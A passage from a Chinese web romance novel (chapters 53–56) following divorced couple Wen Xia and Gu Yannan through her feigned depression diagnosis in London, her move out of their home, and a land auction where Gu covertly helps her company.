快步将她抱到车上,副驾驶的周之恒震惊,没有多问,看着顾总身上只有一件单薄的毛衣,上面落满雪花。他抬手将暖气开到最大,同时让司机开往最近的医院。
顾衍南用额头贴上她的,好烫,这是烧了多久?将她全身上下扫了一遍,他也是这才注意到,她连鞋都没穿。顾衍南把她两只脚包裹在手里,试图将体温传递给她。
昏睡中的温夏瑟缩了下身体。
用手传递温度太慢,顾衍南索性将她的脚放进他的衣服下,冰凉的脚渐渐暖和起来,他却没敢松气,催促司机:“再快点。”
……
做完全身体检,温夏还在昏睡,长长睫毛下的眼睛紧闭着,像个沉睡的睡美人,虚弱到随时会碎掉。
她体质不算差,很少生病,这种脆弱的模样更是少见,顾衍南伸手扶上她的脸颊,指尖微不可觉地颤抖。
一个穿着白大褂的混血男人站在他身后,说:“这位小姐受了风寒,再加上近期严重失眠,长时间没有得到充足休息,精神压力和情绪起伏过大,身体被消耗得很严重,而且……”
顾衍南头也没回:“而且什么?”
医生迅速看了眼温夏,然后道:“而且这位小姐,可能有抑郁症的倾向。”
顾衍南身体一僵,低头看着那张沉睡的脸,良久没有出声。
医生站在他身后,一时也没有说话。
整个病房死寂得如同太平间一般,除了死寂还是死寂。
过了不知道多久,顾衍南低声问:“要怎样才能避免这个可能?”
医生:“这位小姐的抑郁倾向不是很严重,但抑郁症这种精神疾病以目前的科技无法百分百避免,最常规的规避方法就是保持愉悦的心情。”
愉悦的心情。
顾衍南抚摸她脸颊的手指顿住,看着她没有血色的唇,眼睛如墨水般浓稠。
是不是只有他远离她,她才能心情愉悦?
……
顾衍南以给温夏买饭的借口出去了。
他前脚刚走,温夏慢慢睁开眼,对上那位混血医生指责怪罪的眼神,她咽了咽嗓子,哑声说:“谢谢。”
西蒙看着她虚弱的脸色,没有发泄出来,只抱怨了句:“虚构病情,如果被举报,我是要被吊销执照的!”
温夏扭头看向窗外,伦敦的雪下的好大,她扯着干痛的嗓子说:“你的损失,我会三倍赔给你。”
西蒙瞪大眼睛,跺了跺脚:“谁稀罕你的钱!”
-
半个小时后。
顾衍南回来的时候,温夏正看着窗外发呆,听到动静,回过头看他。
“我给你买了点粥,坐起来吃点吧。”
温夏一天多没有进食,不想把自己饿死,嗯了声,“好。”
顾衍南扶着她坐起来,把粥和小菜摆在桌子上,然后把筷子递给她。
温夏看着那双骨骼分明的手,接了过来:“谢谢。”
离得近了,那股浓烈的烟草味更重,温夏眼睫动了下,不知道他刚才抽了多少根烟。
她没问,他自然不会回答,温夏安静地吃饭,顾衍南则是安静地看着她。
就这样安安静静地吃完一顿饭,顾衍南把餐盒收好,然后把她的床放平,让她躺下来。
温夏全程都很配合,她一个病人,也只能配合。
等她躺在枕头上,顾衍南坐在病床边的椅子上,低眸对上她的眼睛,静静看着,眼神复杂得不知道装了多少情绪。
垂在被子里的手指一寸寸收紧。
“我刚才给梁从音打了电话,她马上就飞过来照顾你,等她到了我就会离开——”他的语速很慢,字斟句酌道,“既然你这么烦我,都把自己折腾进医院了,我想,我是不该再来烦你了。”
他不想放过她,可是怎么办,她把自己快折腾成抑郁症了,他总是以保护她的理由擅自做这做那,结果给她带来最多伤害的就是他。
跟他在一起,她很痛苦。
除了放手,他还能怎么办?
因为他,她这么冷的天跑来伦敦,把自己折腾到生病,虚弱得好像轻轻一碰就会碎掉。
他再厚的脸皮,也没脸再待在她身边了。
顾衍南看着她虚弱的脸色,艰难地扯了下嘴角,轻笑:“如你所愿,今后我不会再缠着你了。”
第54章 抱着言言看向头也不回的……
温夏对他的话没有太多意外, 但听着他话里的自嘲,被子下的手指没忍住蜷了蜷。
西蒙是她在英国念书时的学弟,温夏没想到在医院遇到他, 做全身检查时, 她看着病房外那道高大挺括的黑色身影,突然产生了虚构病情的想法。
什么难听的话她都说了,如果这个方法再没用,她真的不知道该怎么办了。
逃避可耻,但是有效,她不想面对他,只想缩回属于她自己的安全区。
她不停往后退, 说尽难听的话,还编造谎言,只为赶走他,他终于同意不再缠着她, 放她自由。
就这样吧。
他们之间, 也只能这样了。
也许, 从一开始就不该谈感情,她这种人,就不适合和人谈感情。
如果只是钱色交易, 一定不会闹到现在的地步。
对谁都好。
不知道过了多久,也许只是须臾,温夏点头,轻声:“好。”
顾衍南看着她没有血色的嘴唇, 想起医生说的话,想要叮嘱她注意身体,按时吃饭准时睡觉, 但她吃不下去饭,睡不好觉又都是因为他,他比任何人都没资格说这些关心话。
于是,两人都保持着沉默,生病加上药效的作用,温夏躺在柔软的被褥里,嗅着消毒水的味道,她很快又睡着了。
不知道是不是压在心头许久的事就这么解决了,这一觉睡得格外安稳。
第二天,温夏醒来的时候,梁从音已经到了,单手撑在她的床边,静静地盯着她,满脸担忧。
一睁开眼,就看到她这幅表情,温夏吓了一跳,残存的睡意都吓没了,“你离这么近干什么?”
梁从音眼神悲痛,拉着她的手,安慰道:“会好的,夏夏,你会痊愈的。”
“……”
这都什么跟什么?
说的跟她得了绝症似的。
温夏把手从她手里抽出来,淡声问:“他呢?”
梁从音看着被抽出来的手,听着温夏一醒过来就找顾衍南,再想到顾衍南把温夏逼到快抑郁了,顿时怒不打一处来,“哼,被我给骂走了!这个混蛋,非要把你逼死才好受吗!”
骂完顾衍南,她又担忧地看着温夏,重新抓住她的手,语重心长地说:“夏夏,我会一直陪着你,你一定可以战胜抑郁症。”
“……”
温夏想起他说的“等梁从音来了我就走”,是该走了的,这个念头一闪而过,她看着梁从音腻歪的模样,又感动又好笑,也许是太无聊,她难得起了逗弄的心思:“真的吗?可是在英国陪我的话,你还怎么陪你家祁总监?”
闻言,梁从音陷入短暂的沉思,她跟祁源正处热恋期,平时出去出差几天都想他想的不得了,要是长时间分居……她看着温夏没有血色的脸,心一狠,“当然是宝贝你的病最重要,再说他休息的时候可以飞过来嘛。”
说完,她弱弱补充一句:“不过宝贝你最好快点好起来哦。”
温夏轻轻笑出声,没再逗她:“我没病。”
“……?”
梁从音皱起眉:“什么意思?顾衍南不是说你快抑郁了吗?”
温夏淡声解释:“没有,我让医生骗他的。”
梁从音狐疑地看着她。
西蒙恰好推门进来,温夏朝他看去:“你问医生吧。”
听完西蒙讲述着事情经过,梁从音露出个一言难尽的表情,盯着她看了半天,最后评价了句:“你们俩真是……没法说。”
她下了飞机立刻打车过来,推开病房的门,顾衍南就坐在病床前的椅子上,安静地盯着熟睡中的温夏,像个痴汉。
怎么看怎么爱。
而夏夏,看着对顾衍南也是有感情的,甚至可以说是爱他,为什么非要互相折磨呢。
感情这事最不讲道理,梁从音作为过来人,知道再多的人劝也没用,只能等他们自己想通。于是她也不瞎折腾了,打了个大大的哈欠:“既然你没病,那我先睡一会,困死我了。”
顾衍南给她打电话时一副温夏得了绝症的语气,吓得她火急火燎地赶了过来,坐了这么久的飞机,倒头就能睡着。
病房里有两张床,另一张床昨晚收拾好了,但是顾衍南显然没睡,床褥都是整洁的。梁从音也顾不得再换一套,脱掉外套就钻进被子里:“没什么事不要喊我。”
“……”
梁从音确实很困,没几分钟,病房里就响起均匀的呼吸声,温夏跟她一起躺,但她这两天睡了太久,实在睡不着,西蒙刚才进来给她量体温,已经降到37度了,没什么事了。
温夏抱着手机,轻手轻脚走到客厅,给温砚打了个电话。
没等她开口,温砚沉声问:“你生病了?还得了抑郁症?”
“……”
想也不用想,肯定是梁从音告诉了祁源,祁源告诉了大哥。她扯这个谎只是为了赶走顾衍南,谁知道他把梁从音给喊来了,现在一堆人都以为她是神经病。
温夏不得不把事情的经过重新讲述一遍。
电话那头沉默良久,温砚最后问了句:“你想好了?”
温夏走到窗前,看着漫天飘落的雪,嗯了声:“想好了。”
温砚仍是无条件支持她,换了个话题:“什么时候回来?”
“很快,”温夏低头,轻轻拨弄绿植的叶片,给了个准确的时间点,“这周之内回去。”
“嗯,早点回来,还有一大堆的活等着你。”
温夏:“……”
原本计划着在伦敦多待一段时间,但似乎昨晚他说完那些话之后,胸口桎梏她的锁链随之撤掉了。
温夏在医院待了三天,其实第二天她就好的差不多了,梁从音非要她完全退烧再回去,她不想让人操心,就多待了两天。
梁从音躺的没劲,这么冷的天也不想出去,就拉着西蒙八卦他和温夏怎么认识的,她怎么看怎么觉得,两人之间不只是同学关系。
温夏坐在床上,淡淡瞥了她一眼。
梁从音没在意,好不容易逮着一个能八卦的话题:“你们俩是不是有过一段啊?”
“没有!”西蒙很委屈,很愤怒地道,“我追了她好久,我表白一次她拒绝我一次,气死我了!”
梁从音语气夸张:“这么无情啊。”
西蒙重重点头,说着说着感觉自己太窝囊,为了给自己找点面子,补充:“不止是我,当时学校里好多人都追她,她全都拒绝了,当时我们还组织了一个失恋联盟会呢。”
梁从音:“……至于吗?”
“当然至于!我们当时都很疑惑,wynne到底为什么谁都不接受,这里可是伦敦,也不知道她在为谁守贞!”西蒙的母亲是中国人,他的中文比土生土长的中国人也差不多多少,义愤填膺地吐槽。
梁从音听到这话,多看了温夏一眼,若有所思。
“我觉得我长得也不错吧,就这也不能让她动心,我们其实怀疑过她是蕾丝边……”
温夏靠在床头,静静听着西蒙委屈的控诉,不禁回忆起她在伦敦的那段生活。
英国人要比中国人开放,在这边,确实有蛮多的人追她。
她不是不想谈恋爱,也没有为谁守贞,只是找不到一个让她心动的人。
她也犯不着将就。
于是就都拒绝了。
有几个被拒绝后恼羞成怒的,当场就控诉她冷情薄性。
当时没觉得有什么,现在想想,都跟顾衍南脱不了关系——
她的每一位追求者的控诉指责,都在论证着,她有多非顾衍南不可。
-
出院后的第二天,温夏就和梁从音一起回国了,这几天梁从音和祁源的电话煲就没停过,梁从音归心似箭,在机场看到祁源的身影,也不顾公共场合,行李箱甩给她,直接跑过去跳到祁源身上。
“呜呜呜老公我好想你。”
祁源有几分不好意思,摸了摸她的脑袋,低声说:“夏夏还在呢,回家再抱吧。”
梁从音抱着他不松手:“不要,就要抱。”
温夏见怪不怪,装作没看见,一手一个行李箱,推着朝机场出口走。
司机在车旁等着,看见温夏,快步走过来拿行李,温夏自觉上了副驾驶,把后座留给那对连体婴儿夫妻。
祁源和梁从音过了五分钟左右才手牵手过来,上车后,梁从音就旁若无人地坐到祁源腿上,抱着他的脖子亲。
祁源见温夏一个人坐在副驾驶有些尴尬,无奈地扶着怀中女人的下巴深吻一分钟,松开后,梁从音眼巴巴地望着他,眼底清晰地写着:还要亲。
“回家再亲,”祁源给她擦了擦唇瓣上的口水,在她耳边用只有两人能听到的低音说,“晚上你想怎么亲都行。”
梁从音眼睛一亮:“哪里都可以嘛?”
“……可以。”祁源捏了下她的脸。
梁从音重重点头:“好的!”
应付完黏人的小妻子,祁源看向前排的温夏:“夏夏,送你去哪儿?”
温夏从后视镜看他:“我的公寓。”她报了小区的名字。
祁源没有多问,吩咐司机:“先送夏夏。”
近一个小时的车程,到了公寓楼下,祁源要帮她拎箱子送她上去,温夏拒绝了,祁源也没坚持:“有什么事给我打电话。”
“嗯,拜拜。”
梁从音坐在车里招手:“宝贝,我过两天再来找你玩。”
温夏调侃地笑了下:“学长,你快上去吧,不然从音用眼神就能杀死我了。”
祁源不好意思地看她一眼:“先走了。”
“嗯。”
车门打开,祁源刚上去,就被梁从音拽着领子拉过去,后排的挡板不知何时放下,车门“砰”的一声关上。
温夏站在原地,看着腻歪在一起的两人,说实话,梁从音和祁源看着就像两类人,一个及时行乐,一个克己复礼,偏偏两个截然不同的人走在一起,还这么相爱。
反观她和顾衍南,明明许多人都说他们般配,最后只能形同陌路。
温夏在公寓睡了一觉,第二天上午九点,她给张婶打了个电话,她还有东西放在明湖公馆,需要搬出来。
这个点顾衍南应该已经上班去了,她不想和他碰见。
电话接通,温夏表明意图,不经意地问了句:“他在家吗?”
张婶叹了声:“少爷上班去了。”
“好,我这就过去。”
她在明湖公馆生活近两年,里面有很多她的东西,她没打算全都带走,太麻烦了,只收拾了点必要的,剩下的让张婶自行处理掉。
尽管如此,还是收拾出来两个大行李箱,温夏让司机帮忙搬了下去,张婶也在帮忙,她站在卧室,他的东西早在一个多月前就搬走了,现在她的也搬走了,卧室一下子显得空荡荡的。
她的目光落在床上,那张顾爷爷刻意安排的只有一米八的双人床,还有温馨柔软的香槟色床褥,一切就和他们刚搬到这里的那天一样。
那时候他们只是钱色交易,她以为他不想和她一起住,主动提出睡沙发,他回她一句“你打算睡一辈子的沙发”,她下意识反问自己要在这里住这么久吗?
那时候,她没想过他们会长久,抱着时刻离开的准备,如今也算是一语成谶。
目光一一从每一件家具扫过,温夏轻吁一口气,转身,轻轻把门关上,以后应该不会再进来了。
……
从卧室出来,温夏犹豫许久,不知道要不要去看言言。
她舍不得它,可言言的存在会无时无刻地提醒她过去的那些甜蜜温馨,让她困在名为顾衍南的囚笼中永远走不出去。
还是让它留在这里吧,顾衍南和张婶会好好照顾它。
她狠心下,还是决定不去看言言了。
然而,她刚从客厅出来,就听到一阵欢快的狗叫,下一刻,言言就出现在她的视线中,看到她后,快速跑到她跟前,不停地蹭着她的裤腿:“汪!汪汪!!”
温夏的眼皮顿时酸了,她慢慢蹲下来,抱住它的脑袋,轻声说:“对不起,对不起……”
是她的错,不该在和顾衍南的感情还不稳定的时候,就选择养狗,让言言承担他们分开的代价。
顾衍南站在草坪上,看着抱着小蠢狗的女人,他用尽所有的克制才没让自己朝她走去。
他单手插兜,表情一派淡然,似是随口道:“舍不得的话,你可以把它带走。”
这几天,他查过许多资料,据说有宠物的陪伴,抑郁症的病人痊愈的几率会更大。
虽然这样,他就真的什么也没有了。
闻言,温夏微愣,没想到他会回来,她抬头看去。
他依旧是一身黑色大衣,这件大衣是她逛商场的时候随手给他买的,比不上那些定制款式,却是他穿的频率最高的一件。
明明只有几天没见,却像是隔了一个世纪。
温夏轻轻摇头:“你养吧。”
顾衍南目光沉了沉,面上没什么表情,淡淡地嗯了声。
温夏起身,最后摸了摸言言的脑袋,咬着牙,转身走了。
言言似是愣住了,然后立刻去追她:“汪!汪汪!”妈妈不要走!!
顾衍南拦住它,一把把它抱起,任由小蠢狗在他怀里挣扎,抱着它看向那个头也不回的女人。
言言冲他怒叫:“汪汪!”
顾衍南低头:“没听见?我都说了可以把你给她,是她自己不愿意要你的。”
顿了下,他恶意地补充了句:“我早说过,你妈不要你了。”
“汪汪!”言言委屈地要上嘴咬他。
“砰”,车门关上,她坐着车走了。
等车子消失在视线尽头,顾衍南把小蠢狗放下,言言立刻撒开腿往外跑。
可惜被铁门拦住,它只能无能冲着门外怒吼。
顾衍南抬腿走到它跟前,拍了拍它的脑袋,不知道是说给言言听还是说给自己听。
“她不想见我也不想见你,别再去烦她了。”
第55章 谁家炮友黏糊成这样?……
那天过后, 顾衍南如他所言,没再出现在她眼前。
北城说大不大,说小也不算小, 如果不是刻意, 两个人很难遇见。
他们没再见过,连偶遇都没有。
她身边的人,除了梁从音偶尔会提一嘴,没人会在她面前提起顾衍南,他整个人,连同与他有关的事,都从她的生活中彻底消失了。
不过顾大公子仍是北城名媛圈关注的焦点, 上次在许家三小姐的成人礼上,顾大公子在追求他的前妻这一消息传出去,整个圈子的人都在等着后续——
他们的婚姻从一开始就很戏剧性,从酒店一夜情捉奸在床被长辈逼婚, 再到婚后相看两厌形同陌路, 好不容易有一段时间的甜蜜期, 最后还是落得离婚的下场。
顾衍南在温夏面前生起气来宛若疯狗,但对外以谦谦如玉的矜贵公子形象示人,从前也都是被追被女人捧着的份儿, 如今倒过来追求前妻,实在让人瞠目结舌。
不过,很快就有人发现——温夏和顾衍南已经很久没有同屏出现过了。
于是很多闲来无事的人都在脑补温夏瞎作过了头,让顾衍南厌弃了, 温夏是在很久之后听梁从音说的,猛一听到他的名字,她微怔片刻, 没做多余的评价,一笑了之。
而传言的另一个主人公,正在温夏的公寓楼下——
已经是暮春了,顾衍南一开始真的打算不来烦她,于是他不断加大工作量,安排许多出国的行程,经常连轴转,忙得连睡觉的时间都不剩,可即使这样,他仍会在工作的间隙想她。
他克制了一段时间,可欲望越压抑越膨胀,顾衍南觉得自己马上也要成精神病了,就放纵自己开车到她家楼下,虽然什么都看不见,但至少离她近一些。
下了班,他回家带小蠢狗去公园溜了一圈,然后一个人开车来到这里,他开的是一辆很低调的Benz,她不会发现他。
她的公寓旁边就是商场,八点多不到九点,正是商场夜间最热闹的时候,他的视线落在一对年轻夫妻牵在一起的手上。
直到那对夫妻走出他的视野范围,顾衍南回神,嘲弄地扯了扯唇。
繁华热闹的都市,灯红酒绿,纸醉金迷。
他看着来往的人群,孑然一身。
车窗落下,晚风往车里灌,他拿出烟盒和打火机,抽了根烟随手点燃,骨骼分明的长指夹着烟,随意搭在车窗上。
手机铃声响起,顾衍南瞥了眼屏幕,随手接通,兴致缺缺地开口:“说。”
霍瑾深在电话那头皱了皱眉:“你在哪儿?”
顾衍南淡淡地道:“在家。”
“出来喝酒。”
“不去,等会得遛狗。”
霍瑾深:“……”
他冷笑了声:“你三十还是六十?”
“三十。”
“……”
霍瑾深没再跟他绕弯子,直接道:“来新松公馆,明天的竞标会你替我去。”
顾衍南一副“你他妈没病吧”的语气:“老子有这么闲给你打工赚钱?”
霍瑾深:“温氏也会参加。”
顾衍南夹烟的手指一抖,烟灰簌簌坠落,他仰头朝公寓楼的某个方向看去,漫不经心地道:“温氏参不参加,关我什么事。”
霍瑾深冷嗤:“半小时内你没到,就真的不关你的事了。”
挂断电话,明央看着霍瑾深,眨巴了下眼睛:“顾衍南会过来吗?”
霍瑾深低眸看她,淡淡道:“会。”
“为什么?”
霍瑾深睨着她:“他好不容易找到名正言顺的借口见温夏,不可能错过。”
得知顾衍南和温夏离婚的消息,霍瑾深对他无话可说,结婚两年多,连狗都养上了,就这还能把老婆作跑。
霍瑾深对两人这些年发生的事多多少少了解一些,十多年前他就撞见过两人在酒店套房门口亲的难舍难分,当时他觉得特别意外,他和顾衍南认识这么多年,顾衍南什么德行他清楚得很。
从小到大,顾大少的追求者无数,完全是被女人捧着的主,在荷尔蒙旺盛的青春期,秦尧半个月换一个女朋友,就连他也和明央搞在一起,唯有顾衍南——顾大少眼高于顶,谁都看不上,觉得谁都配不上他,不值得他浪费心思。
看到他跟明央纠缠不清,顾衍南就差直说他脑子有病。
傲慢得不行。
所以霍瑾深看到他跟女孩在房间门口接吻,就多看了一眼,在看清楚温夏脸的那刻,他意外地挑了挑眉。
这两人怎么会搞在一起?
什么时候搞上的?
昨天有一场慈善晚会,这两人不都出席了,也没见两人搭话调情,怎么现在这么黏糊?
霍瑾深陷入沉思,一时没有离开。
温夏率先发现了他,愣了片刻,连忙从顾衍南的怀里退出,顾衍南没看见他,见温夏躲开,脸立刻沉了下来,扣着她的下巴更深更重地吻下去。
温夏的唇被堵住,说不了话,用眼神示意有人,但顾衍南正沉浸在接吻中,没搭理她,将她抵在门上深吻。
霍瑾深就靠在墙上,颇有兴致地欣赏了三分钟。
吻到尽兴,顾衍南才松开温夏,在温夏的提示下发现了他——霍瑾深觉得,他刚才未必没有发现,只是不想搭理自己。
偶然撞破两人的地下情,但令他意外的是,看两人那股子黏糊劲儿,他还以为是男女朋友,私下里他问顾衍南,顾衍南只轻飘飘回他:炮友。
谁家炮友黏糊成这样?霍瑾深没有拆穿他,之后在一场拍卖会上,顾衍南孔雀开屏拍了十几件珠宝,想也不用想,肯定是送给温夏的,他当时还调侃了句:你还挺舍得给炮友花钱。
后来两人不知道怎么掰了,那段时间,顾衍南很颓废,整个人身上都覆盖着一种说不出的孤寂。
再后来,那段往事像是从未发生过,顾衍南依旧绯闻缠身,霍瑾深也以为他没太当回事,也没闲工夫关心他的感情生活。
直到温氏出事,在一次酒局上,顾衍南误喝一杯加料的酒,其实那只是带点催情功效的酒,没多大劲儿,他偶遇温夏,脑子里突然冒出一个想法——顾衍南这把年纪不结婚也不交女朋友,是因为温夏吗?
于是他威逼利诱,把温夏送上了顾衍南的床。
这两年两人折腾了不少次,霍瑾深这么清楚是因为每次顾衍南和温夏吵架,离家出走,都会找他喝酒。
喝完再自己一个人灰溜溜地回去。
这半年多的频率越来越低,看着挺恩爱甜蜜的,没想到他在国外待了一个多月,两人就离婚了。
他也不是闲得慌,捣鼓起人家夫妻之间的破事,纯属是还当年他因为明央结婚颓废那阵子,顾衍南工作之余帮他的人情。
没要半个小时,二十多分钟,顾衍南就到了。
霍瑾深等了半天,没跟他废话,直接把文件扔给他:“明天上午九点半,具体内容跟我助理谈。”
说完,他拉着明央往外走,明央央全程降低自己的存在感,都不敢跟霍瑾深表现得太亲密,生怕刺痛被老婆甩了的顾衍南,让他恼羞成怒,满嘴喷毒。
文件顾衍南看也没看,温氏和霍氏竞标,该帮谁一目了然。
刚到家,从车上下来,就听到一阵焦急的狗叫声,打开门,小蠢狗迈着小短腿朝他跑来。
张婶跟在后面,累的气喘吁吁的:“不知道为什么,言言今天一直在叫。”
顾衍南蹲下身体,拍了拍它的脑袋,“傍晚不是带你去公园玩过了,还叫唤什么的?”
言言低叫了两声。
“你想她了?”
“汪汪!”
“不是跟你说过,她不想见我也不想见你。”
言言冲他低吼:“汪汪!”
顾衍南有一丝的心虚,这段时间他每晚都去温夏公寓楼下,有时候能遇到她,远远看她一眼,大多数时候都见不到,但好歹有见到的几率,而小蠢狗再想她也只能干想着。
当时离婚争小蠢狗的抚养权,温夏控诉说大多数时间都是她在照顾它,这话没说错,确实是她照顾得多,所以小蠢狗跟她的感情要比跟他更深厚。
顾衍南难得起了恻隐之心,揉了揉它的脑袋:“别叫唤了,过两天就带你去见她。”
“汪——!!”-
第二天上午八点半,顾衍南下楼前,看了眼衣帽间的镜子。
镜子里,男人的黑色短发被发胶固定成背头,额头露出来,五官深邃立体,那双蛊惑人心的桃花眼漂亮又迷人,眼尾挑起微微的弧度。
身穿一套黑色西装,里面的衬衫是白色的,衬衫扣子系到最上方,还打了条深灰色的领带。
顾衍南盯着衬衫看了几秒,皱了皱眉,去衣帽间换了件偏紧身的衬衫,饱满性感的胸肌将衬衫胸口撑平,隐隐能够透过布料看到腹肌的轮廓。
满满的男色诱惑。
对着镜子又调整了下领带,拿起银色领带夹夹住,又抓了抓短发,直到周之恒打电话催他,他才下楼。
总裁办的人半夜接到通知,顾总要推掉几十个亿的私募基金签约仪式,代表霍氏参加竞标会。
几人在小群里八卦原因,连猜顾总和霍总之间有点东西的奇思妙想都出来了,愣是没有一个人猜到真正原因。
还是周之恒率先想到,他去查了查,果不其然,这场竞标会温氏也会参加,怪不得顾总会去。
自从顾总和太太离婚后,先是工作狂一段时间,再是每天准点下班回家遛狗,但他看得出顾总的精神状态不好,他很想念太太。
这次有机会和太太见面,再重要的签约仪式也得推掉。
可他仍是没想到,顾总会打扮成这样……
尤其是那个背头,显得整个人来势汹汹的。
这场竞拍会来的不只有周之恒,还跟着两位女秘书,看到顾总蓬勃的胸肌,两个人内心躁动起来,对视一眼,纷纷从对方眼中看到同类型的兴奋。
顾衍南将下属们的震惊收入眼底,淡淡道:“走吧。”
“是。”
他们到的时间算晚的,一行人走进电梯,电梯门缓缓合上,突然有一只手伸进来:“等一等。”
快要合上的电梯缓缓打开,温夏看着腕表,路上堵车,耽搁了一些时间,距离开始还有五分钟,应该不会迟到。
助理拦住电梯,她抬头看了眼,想看看能不能挤得下,在看清里面的人时,全身的血液有一瞬间的凝固,身体僵了下。
怎么会在这里遇见他?
医院那天之后,他们已经一百多天没见过了,温夏没想到今天会遇见他,还是这么猝不及防的情况下。
不过毕竟处于同一个圈子,总会有交集,她用指尖用力掐了掐掌心,忍住因意外狂跳的心脏,面上努力维持冷静镇定。
刚要和助理说“等下一班”,顾衍南低眸,视线落在她身上,淡淡开口:“进来吗?”
他的语气很平淡,就像在和一个认识却不怎么熟的人说话,没有刻意的冷淡,很正常的寒暄。
温夏把那句话咽下去,嗯了声:“谢谢。”
他都不在意了,她没有理由再避之不及。
“几楼?”
温夏看了眼楼层按钮,心想他也去五楼么,低声:“五楼。”
顾衍南嗯了声,没再开口。
电梯里站了不少人,顾氏的四个,温氏的两个,助理们纷纷往后站,导致温夏和顾衍南并排站在前面。
稍微动一动,肩膀就能碰到彼此。
温夏屏住呼吸,不知为何,这么多人的封闭式空间里,她只能闻到顾衍南身上那股浅淡的檀香味。
刚才匆匆一瞥,他今天打扮了吗?连头发都用了发胶,她其实很喜欢他背头来着……
她没忍住,悄悄朝旁边看了眼——
下一刻,恰好对上顾衍南看向她的目光。
第56章 “它想你了。”
像是被彼此的目光烫到一般, 只对视一瞬,双双挪开视线。
谁也没有追究谁“偷看”的责任。
温夏面上没什么波动,垂在身侧的手指紧紧攥着, 不动声色地平复着狂跳的心脏。
不知道是不是电梯空间密闭, 进来的人又太多,她的呼吸不大顺畅,那股浅淡的檀香气几乎淹没了她的嗅觉。
小半年没见,恍若隔世。
这一眼,温夏可以确定,他就是打扮了。
男人不像女人,在装扮上花心思的本就是少数, 顾衍南也不例外,年轻的时候还玩车玩表,近些年都淡了,一年三百六十天都在应酬工作, 穿的也都是西装三件套, 他的衣帽间里千篇一律的全是衬衫西裤, 还都是深色系的。
他在穿衣上也不甚讲究,衣服大多都是从巴黎的一家手工坊空运来的,温夏逛街的时候偶尔会顺手给他买几件, 他也不怎么挑剔,身材和脸摆在那儿,穿什么都跟穿高定似的。
发型更不用说了,除了重要场合, 他很少会用发胶……今天的竞拍会应该没重要到要让他大费周章,那为什么要打扮得这么骚包?
还有,他是胖了吗?衬衫胸口被撑得鼓鼓囊囊的, 布料好像都要被撑裂一般,可是他的脸明明看着更瘦了,下颌线也更加清晰利落。
万般思绪在脑海中飘过,电梯很快抵达五楼,“叮”的一声,温夏猛地回神,电梯门缓缓张开。
顾衍南抬腿,从她身边走过,脚步没有一丝停留。
温夏微顿,垂眸笑了下,踩着高跟鞋走了出去。
助理们对视一眼,快步跟上。
主办方安排的位置,温氏和霍氏恰好坐在一起,顾衍南瞥了眼名牌卡,目光暗了暗,大咧咧地拉开椅子坐下。
他带来的三个助理都坐在他的右手边。
而左边就是温氏的座位,温夏只带了一个助理,小助理刚来没多久,在茶水间和同事八卦时听说过温副总和顾氏集团总裁的爱恨情仇,一直好奇能和寡情冷淡的温副总有爱恨纠葛的男人到底是什么样,今天一见,完全理解了为什么同事们骂完顾总对不起温副总后,总是要添上一句:“真佩服温副总,要是我,光冲着那张脸和身材,肯定不舍得离。”
顾衍南一身白衬衫黑西裤,将他完美的身材衬托出来,黑色短发用发胶打理得一丝不苟,浑身上下都透着“矜贵”二字。
温夏跟他一样,也是白色的衬衫和黑色的阔腿西裤,黑色长发挽了起来,清冷又干练。
很般配,穿得也像是情侣装。
小助理入职不久,八卦没少听,有的说顾氏总裁对他们温副总念念不忘的,也有的说温副总其实也忘不了顾总的,说来说去就是一句话——俩人没完。
刚才在电梯里,两人互相偷看的那一幕也被时刻紧盯着温副总的她收入眼底,此刻很明白自己该干什么,于是她快步上前,把顾衍南左手边的椅子拉开,对温夏微笑:“温副总,您坐。”
正在跟下属谈话的顾衍南淡淡朝她看了一眼。
很平静的目光,表情淡然,像是谈话被打断后的随意一瞥,不夹杂任何情绪。
温夏走过去,坐下。
小助理松了口气,拉开旁边的椅子,把招标会的材料拿出来递给温夏。
这次的竞标会规模很大,温氏看中了其中一宗土地,计划用来建造大型商场,这是温氏今年对外的一项很重要的投资。
为了这个项目,他们专门成立了一个招标小组,加了不知道多少个班,温氏对这块地势在必得。
温夏翻看着资料,突然,有工作人员走过来,问顾氏的人为什么坐在霍氏的位置。
周之恒把委托书递给他:“霍总今天有事,请我们顾总帮忙竞标的。”
工作人员仔细看了重点内容,连连点头:“好的。”
原来是这样,以他和霍瑾深的关系,替对方出席一个竞标会很正常。
温夏没再多想,全神贯注投入到竞标资料中。
竞标会很快正式开始,这次温氏最大的竞争对手是一位姓张的老板,靠口腔医疗发家,想买下那块地建口腔医院,私下两家谈价磨了好久都没谈拢,温氏对这块地势在必得,张老板同样不遑多让。
不过他们事先得知,张老板更想拍的是一家进入破产程序的口腔医院,虽然医院经营不善快要破产,债务缠身,但这家医院早些年花了不少功夫拿到政府给的资质和指标,这对于刚从外地迁址到北城的张老板来说显然更加重要。
拍地建医院的周期太长,这期间政策发生什么变化谁都无法预料,比不上捡一家现成的来得快,还能跟那家医院的原始股东攀上关系,打开他进入北城的关系网。
于是温氏做了一件很不厚道的事,故意找了个人抬价,张老板再有钱也得控制成本,如果这家医院的价格太高,就不会跟他们争拿块地。
很快,就拍到了这家医院,比起前两个资产包,这家医院显然引起很多人的兴趣,底下的人一波波举牌喊价,起拍价从960万快加到一千五百万。
等张老板喊到一千五百万时,很多人都不再跟了。
温氏派的那个人继续跟,一直到两千二百万,他给温夏发了条短信,问还要不要继续。
这是他们的底价。
温夏内心纠结一番,回他:停吧。
不知道这个价能不能让张老板无力再跟温氏争,但他们是有预算的,这个价是能承受的最大风险了。
就在工作人员落锤的前一刻,一道低沉冷淡的男声在场内突然响起:“三千万。”
一上来直接加了八百万,众人忍不住看向喊价的顾衍南。
温夏也朝他看去——她记得霍氏的业务好像不涉及医疗。
但最震惊的莫过于张老板,半路杀出个财大气粗的太子爷,他紧紧抓着椅子扶手,忍着怒火,接着跟:“三千一百万。”
顾衍南轻飘飘地叫价:“三千五百万。”
价格一直往上加,谁都看得出来张老板快撑不住了,但这家医院是他进入北城商业圈的门槛,前期公司为了盘活这家医院做了多少工作,要是这个时候功亏一篑,岂不是白费。
于是他狠狠咬牙,站起来喊道:“五千万!”
顾衍南淡淡扫他一眼,低笑了声:“张老板这么执着,我也不好夺人所好。”
张老板气的想把他给暴打一顿,面上不得不赔钱:“那就谢谢顾总了。”
最终,张老板以五倍多的价格拿下这家医院,无力和温氏再争那块地,温夏以比预估少近一千万的价格拿下拿块地。
小助理递给温夏一瓶水,兴奋道:“没想到这么顺利,太好了!”
温夏眼睫轻颤了下:“嗯。”
小助理其实还想说,刚才顾总是在帮我们吧,不然为什么要跟张老板争?
